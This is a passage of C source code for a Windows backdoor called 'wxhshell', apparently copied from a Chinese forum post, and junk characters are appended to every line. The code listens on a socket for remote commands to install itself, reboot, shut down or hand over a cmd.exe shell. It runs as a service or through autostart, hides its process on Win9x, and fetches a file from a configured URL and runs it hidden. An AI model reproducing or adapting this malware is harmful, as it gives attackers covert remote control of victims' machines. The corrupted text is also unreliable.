  } ZGh6- /  
  else { ^2BiMH3j  
E]vox~xK>  
    switch(cmd[0]) { S3HyB b  
  vD#kH 1  
  // 帮助 e9'0CH<  
  case '?': { DQu)?Rsk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s^PsA9EAn  
    break; 9Ut eD@*  
  } <6.`(isph  
  // 安装 X^&--@l}T!  
  case 'i': { R>Ox(MG  
    if(Install()) um/F:rp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h]i vXF*  
    else XkUwO ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yZ=O+H  
    break; \kI{#   
    } X<Xiva85  
  // 卸载 WaX!y$/z  
  case 'r': { Dby|l#X  
    if(Uninstall()) dlZ2iDQ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dhP")@3K;p  
    else *@@dO_%6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "-:g.x*d  
    break; j)ln"u0R^B  
    } "tJ[M  
  // 显示 wxhshell 所在路径 t}}Ti$$>  
  case 'p': { \O~/^ Y3U!  
    char svExeFile[MAX_PATH]; #d<"Ub  
    strcpy(svExeFile,"\n\r"); 1\lZ&KX$i  
      strcat(svExeFile,ExeFile); <ir]bQT  
        send(wsh,svExeFile,strlen(svExeFile),0); Dh}d-m_5  
    break;  Uv<nJM  
    } _@)-#7  
  // 重启 ^u90N>Dvq  
  case 'b': { q3v5gz^t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ntPX?/  
    if(Boot(REBOOT)) N2j^fZd_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WCqa[=v)t  
    else { 7;.Iat9gMf  
    closesocket(wsh); A ^hafBa  
    ExitThread(0); u!+;Iy7  
    } o)b-fAd@$  
    break; S 1~EJa5H  
    } <f)T*E^5%  
  // 关机 'Zex/:QS  
  case 'd': { sc-hO9~k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !H)!b#_  
    if(Boot(SHUTDOWN)) 7z\ #"~(.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %)d7iT~M  
    else { >^,?0HP  
    closesocket(wsh); gCRPaF6  
    ExitThread(0); ;2 ?fz@KZ  
    } XCyb[(4  
    break; m#_M"B.cm  
    } L"c.15\  
  // 获取shell e^;:iJS  
  case 's': { kbH@h2Ww  
    CmdShell(wsh); L|b[6[XTHL  
    closesocket(wsh);  ]sP  
    ExitThread(0); 3;uLBuZOCN  
    break; ]i1OssV~>  
  } Ed-3-vJej6  
  // 退出 g#1 Y4  
  case 'x': { ]TtID4qL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); muK.x7zyl  
    CloseIt(wsh); e6 <9`Xg  
    break; TZg1,Z  
    } t1yfSStp  
  // 离开 >@a7Zzl0H  
  case 'q': { F_/ra?WVH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9@Cu5U]  
    closesocket(wsh); eQ[}ALIq  
    WSACleanup(); ;jPiD`Kyv  
    exit(1); f }.t  
    break; H|`D3z.c  
        } ^e\$g2).  
  } 9R-2\D]  
  } "8a ?K Q  
~`$P-^u88X  
  // 提示信息 G~_D'o<r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d|W=_7 z  
} ,E%O_:}R  
  } {C8IYBm  
pP"j|  
  return; 8aM\B%NGWi  
} p*1 B *R  
R S>qP;V*-  
// shell模块句柄 T>hm\!  
int CmdShell(SOCKET sock) XW2ZQMos1  
{ Bk5 ELf8pL  
STARTUPINFO si; W|sU[dxZ  
ZeroMemory(&si,sizeof(si)); >xF&>SDC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qq?o^_^4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aN,? a@B  
PROCESS_INFORMATION ProcessInfo; ^e $!19g  
char cmdline[]="cmd"; Gv#bd05X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2o1WXE %$  
  return 0; H_| re  
} M*Q}^<E*  
$n47DW &  
// 自身启动模式 Z?&ZgaSz  
int StartFromService(void) /m^G 99N  
{ HvZSkq^  
typedef struct GlC(uhCpV  
{ 1IT(5Mleb  
  DWORD ExitStatus; OOABn*  
  DWORD PebBaseAddress; bkpN`+c  
  DWORD AffinityMask; <{YzmN\Z  
  DWORD BasePriority; 23'{{@30  
  ULONG UniqueProcessId; FKhgUnw  
  ULONG InheritedFromUniqueProcessId; @FF{lK?[  
}   PROCESS_BASIC_INFORMATION; ofI,[z3  
sint":1FC  
PROCNTQSIP NtQueryInformationProcess; 'w<^4/L Q  
^LXsU] R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3Tw9Uc\vT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cT&lkS  
O69TU[Vn  
  HANDLE             hProcess; ~*^o[~x]\  
  PROCESS_BASIC_INFORMATION pbi; c@nh>G:y{&  
%uiCC>cC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,R7j9#D  
  if(NULL == hInst ) return 0; Fo~q35uB  
$S2 /*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tWaGCxaE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uz20pun4B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z_A\\  
v:9'k~4)  
  if (!NtQueryInformationProcess) return 0; LN5q_ZvR  
~6QV?j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J*:_3Wsy  
  if(!hProcess) return 0; _)YB*z5  
U17=/E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dk2Zl  
~,8#\]xR  
  CloseHandle(hProcess); 7Xh @%[   
)"2eN3H/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gv(MX ;B#  
if(hProcess==NULL) return 0; ];=|))ky"  
;WrG\R/|  
HMODULE hMod; g 4 $  
char procName[255]; VyNU<}  
unsigned long cbNeeded; 0&\71txrzg  
a^[s[j#^,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M[-/&;`f@  
bB*cd!7y  
  CloseHandle(hProcess); uG YH4  
OI6m>XH?  
if(strstr(procName,"services")) return 1; // 以服务启动 t!B,%,Dp  
J'WOqAnPZ  
  return 0; // 注册表启动 1r*@1y<0"  
} VuK>lY &  
0r!F]Rm-^  
// 主模块 p`52  
int StartWxhshell(LPSTR lpCmdLine) z  fy(j  
{ 9d=\BBNZ  
  SOCKET wsl; G_ ~qk/7mF  
BOOL val=TRUE; E4.A$/s8[  
  int port=0; pY%KI  
  struct sockaddr_in door; 4V mUTMY  
zx+}>(U\U  
  if(wscfg.ws_autoins) Install(); ^ 6Yt2Bhs  
]xJ. OUJy  
port=atoi(lpCmdLine); 2jkma :$'  
D})12qB;u9  
if(port<=0) port=wscfg.ws_port; &#.>-D{  
*#?9@0b@  
  WSADATA data; N{M25ucAHl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )?LZg<<   
wCj)@3F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hwi_=-SL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pm[i#V<v  
  door.sin_family = AF_INET; 66_=bd(9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |X6R 2I  
  door.sin_port = htons(port); Rz*GRe  
6 lEv<)cC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %ca`v;].  
closesocket(wsl); 6J$I8b#/  
return 1; $_\x}`c~.  
} \E05qk_;K  
]<Q&  
  if(listen(wsl,2) == INVALID_SOCKET) { fy&u[Jd{  
closesocket(wsl); #nZPnc:  
return 1; P9q=tC3^  
}   
  Wxhshell(wsl); g-m,n=qu  
  WSACleanup(); 0]nveC$  
h2?\A%  
return 0; 3m$Qd#|  
VT#`l0I }  
} |S:erYE,G  
@,W5K$Ka=  
// 以NT服务方式启动 p&HO~J <w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EV|W:;Sg  
{ C!6D /S  
DWORD   status = 0; |=:hUp Jp  
  DWORD   specificError = 0xfffffff; r;wm`(e  
Z:2%gU&W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )?6%d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ={o)82LV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lB#7j  
  serviceStatus.dwWin32ExitCode     = 0; 5as5{"l  
  serviceStatus.dwServiceSpecificExitCode = 0; 'cc{sjG  
  serviceStatus.dwCheckPoint       = 0; Np$ue }yr  
  serviceStatus.dwWaitHint       = 0; l2Rnyb<;;  
'UuHyC2Ha3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IQ xi@7%&  
  if (hServiceStatusHandle==0) return; D )Jac@,0  
<P]%{msGH  
status = GetLastError(); O+[s4]  
  if (status!=NO_ERROR) 4#ikdjB;  
{ }` <D KO/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )YwLj&e4tf  
    serviceStatus.dwCheckPoint       = 0; oP:R1<  
    serviceStatus.dwWaitHint       = 0; QDb8W*&<  
    serviceStatus.dwWin32ExitCode     = status; Re*~C:  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4 DV,f2:R4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K7i@7  
    return; 2dbn~j0  
  } J L1]auO*  
Gj[5e w?@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |nqN95'u+]  
  serviceStatus.dwCheckPoint       = 0; T?tZ?!6  
  serviceStatus.dwWaitHint       = 0; {)Shc;Qh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  um2}XI  
} Wq}W )E  
U % ?+N  
// 处理NT服务事件,比如:启动、停止 3l$D%y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lW4 6S  
{ i4M%{]G3Y  
switch(fdwControl) Ies` !W^  
{ \}YAQ'T  
case SERVICE_CONTROL_STOP: m5, &;~  
  serviceStatus.dwWin32ExitCode = 0; "QBl "<<s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Zv8_<>e  
  serviceStatus.dwCheckPoint   = 0;  ?H_>?,^  
  serviceStatus.dwWaitHint     = 0; \pP1k.~UnC  
  { 5Ux=5a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <@0S]jy  
  } Q6N?cQtOT  
  return; vw-y:,5`t8  
case SERVICE_CONTROL_PAUSE: h&~9?B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2~V"[26t  
  break; \zOsq5}  
case SERVICE_CONTROL_CONTINUE: !lM.1gTTC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [Ov/&jD"  
  break; aO bp"  
case SERVICE_CONTROL_INTERROGATE: g*w}m>O  
  break; JLg/fB3%  
};  OAgZeK$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )XoMOz  
} k3]qpWKj  
Q"3gvIyc  
// 标准应用程序主函数 O2U}jHsd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [EK^0g   
{ X|}Q4T`  
=p:~sn#  
// 获取操作系统版本 5Y@Hb!5D  
OsIsNt=GetOsVer(); O]@s` w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IfY?P(P  
o5m] Gqa  
  // 从命令行安装 'Axe:8LA'  
  if(strpbrk(lpCmdLine,"iI")) Install(); t5P8?q\  
f6PYB&<1  
  // 下载执行文件 9Q 7342  
if(wscfg.ws_downexe) { Zvra >%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u EERNo&  
  WinExec(wscfg.ws_filenam,SW_HIDE); bHXoZix  
} NiRb:F-  
vTL/% SJ8  
if(!OsIsNt) { `_BmVms  
// 如果时win9x,隐藏进程并且设置为注册表启动 BbPRPkV  
HideProc(); [e{D  
StartWxhshell(lpCmdLine); JEP9!y9y  
} RPjw12Ly  
else EZT 8^m  
  if(StartFromService()) $ % B  
  // 以服务方式启动 C]h_co2eI  
  StartServiceCtrlDispatcher(DispatchTable); :lK8i{o  
else Mq#Hi9SKY  
  // 普通方式启动 .LbAR u  
  StartWxhshell(lpCmdLine); abS3hf  
!JVv`YN  
return 0; <)Y jVGG  
}
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只看该作者 1 发表于: 2006-10-10
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